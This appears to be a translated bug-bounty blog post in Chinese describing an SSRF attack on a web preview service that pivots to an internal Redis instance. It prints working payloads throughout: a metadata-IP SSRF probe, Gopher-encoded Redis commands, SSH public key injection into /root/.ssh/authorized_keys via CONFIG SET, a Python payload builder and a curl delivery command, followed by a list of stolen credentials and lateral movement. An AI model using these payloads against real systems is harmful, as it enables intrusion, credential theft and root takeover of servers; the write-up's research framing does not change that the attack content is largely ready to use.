SSRF攻击Redis:从漏洞发现到获取服务器控制权的完整实战

本文详细介绍了如何通过SSRF漏洞攻击内网Redis服务,包括漏洞发现、Gopher协议利用、SSH密钥注入等技术细节,最终实现远程代码执行和服务器权限获取的全过程。

🏰💣 Burp、Bounce与Break:SSRF攻击Redis让我获得城堡钥匙

“如果你长时间盯着Burp Collaborator标签页,它最终会回看你…通常带着Redis凭据。” 😵‍💫

那是一个慵懒的周日。你懂的,就是那种打开Burp Suite只是想"随便看看"几分钟,结果14小时后你还坐在同一把椅子上,血液里充满咖啡因,日志里却有了Redis访问权限。😅

我完全没想到…那天我会遇到一个如此诱人的SSRF漏洞,它打开了暴露的Redis实例的大门,让我像往皇家金库里扔钥匙一样投递payload。

💸🧢 专业绕过:如何欺骗WAF并让它付出代价

🧭 侦察:超越登录页面的狩猎

我从常规的大规模侦察开始:

1
2
3
assetfinder --subs-only target.com
httpx -status -title -tech-detect -follow-redirects -timeout 10
gau | gf ssrf

随后添加了waybackurls、katana和一些Shodan dorking来增加风味。

💡提示:你可以使用类似http.title:"Welcome to nginx!" port:80product:"Redis"的过滤器在Shodan中搜索,以发现暴露的服务。

我注意到了一个奇怪的子域名: preview-api.internal.target.com

从他们的主页看这不是面向公众的,但返回了200状态码和一个非常可疑的头部: X-Preview-Service: true

这是我的第一个迹象。内部预览工具?听起来已经很SSRF了。开始吧。

🧼🛠️ HTTP参数污染:让我获得完整后端访问权限的肮脏小秘密

🔍 触发器:发现SSRF 🍭

深入挖掘后,我发现了一个接受外部URL的POST端点:

1
2
3
4
5
6
POST /generate-preview
Content-Type: application/json

{
  "url": "http://example.com"
}

很自然地,我将其替换为:

1
2
3
{
  "url": "http://169.254.169.254/latest/meta-data/"
}

✅ 获得超时(可疑) ✅ 尝试了collaborator payload — 获得了DNS ping返回

砰。确认了盲SSRF。但我想要的不仅仅是pings。我想要shell。💥

📂📍 隐藏在显而易见之处:Sitemap.xml如何让我获得黄金访问权限

因为即使是Google的路线图也能通向宝藏 🗺️💰

🧠 Payload + 协议 = Redis RCE

验证SSRF后,我尝试转向内部IP:

  • http://127.0.0.1:6379
  • http://redis.internal:6379
  • http://localhost:6379

其中一个最终返回了不同的错误代码。现在我确定Redis在内部是开放的。

现在是有趣的部分 — 使用Gopher协议进行SSRF到Redis。

🔍🏴‍☠️ 404到Root:被遗忘的子域名如何导致服务器接管

🧪 POC:Gopher注入Redis(带着爱 💌)

Redis使用自己的协议,通过Gopher,你可以欺骗SSRF与Redis通信。以下是我使用的实际payload格式:

1
2
3
4
5
6
7
gopher://127.0.0.1:6379/_*3
$3
SET
$4
rcey
$13
gopher_owned

🧨 但我们不止步于SET。我们进行完全武器化的SSRF。

为了获得远程命令执行,我将SSH密钥注入Redis:

1
2
3
4
5
6
7
gopher://127.0.0.1:6379/_*3
$3
SET
$9
ssh_key
$78
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7j04...[截断]... user@pwned

然后我将密钥配置到/root/.ssh/authorized_keys

1
2
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys

➡️ 然后砰 💥 — 我能够使用注入的密钥SSH进入服务器。(你好,root。)

💻🔓 从JS文件到头奖:如何在生产代码中找到隐藏的API密钥和秘密

📂 战利品:我找到了什么?

在内部系统中:

  • 包含以下内容的.env文件:
    1
    2
    3
    
    DATABASE_URL=postgres://user:pass@localhost:5432/app
    REDIS_PASSWORD=
    SECRET_KEY_BASE=...
    
  • 带有保存凭据的本地Jenkins构建服务器:admin:admin123 🤦
  • GitHub部署密钥
  • 没有认证的内部端点

使用GitHub令牌,我访问了一个包含以下内容的私有仓库:

  • API源代码
  • 内部Swagger文件
  • 硬编码凭据

一个SSRF…导致完全的后端妥协。

📦🔍 S3让我滚动:暴露的存储桶如何给我源代码、秘密和进入方式

🛠️ 真实世界POC(简化版)

1
2
# Gopher payload构建器(手动)
python3 -c 'print("gopher://127.0.0.1:6379/_*3\r\n$3\r\nSET\r\n$4\r\ntest\r\n$5\r\npwned\r\n")'

如果服务将此反映或存储到Redis中 → 你就拥有它了。

你也可以使用Burp Repeater或curl自动化注入:

1
2
3
curl -X POST https://target.com/generate-preview \
  -H 'Content-Type: application/json' \
  -d '{"url":"gopher://127.0.0.1:6379/_*3..."}'

🧩 使用的技术

  • 通过基于DNS的collaborator进行盲SSRF检测
  • 使用Gopher → Redis进行协议走私
  • 通过Redis指令进行命令链式操作(CONFIG SET, SAVE)
  • SSH密钥注入以获取shell
  • 从.env、GitHub和Jenkins中获取凭据
  • 跨内部服务横向移动以最大化影响

🎁 额外提示

不要忽略奇怪的预览URL或PDF/图像渲染器。它们通常通过无头浏览器或服务器端渲染进行路由,这些都很容易受到SSRF攻击。

如果基本的http:// payload不起作用,总是尝试Gopher。

🔄🔐 从忘记密码到忘记验证:让我接管账户的破损流程

📜 最后的话

SSRF就像洋葱 — 你剥得越多,你就哭得越多…因为喜悦或影响。🧅😂

所以下次有人说SSRF"只是内部元数据访问"时,向他们展示Redis可能正好掌握着城堡的钥匙。

🔐➡️🏰

联系我!

  • LinkedIn
  • Instagram: @rev_shinchan
  • Gmail: rev30102001@gmail.com
  • #EnnamPolVazhlkai😇
  • #BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF

作者:Iski 网络安全研究员 | 渗透测试员 | 漏洞赏金猎人 | Web安全 | 对网络安全、安全自动化充满热情

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计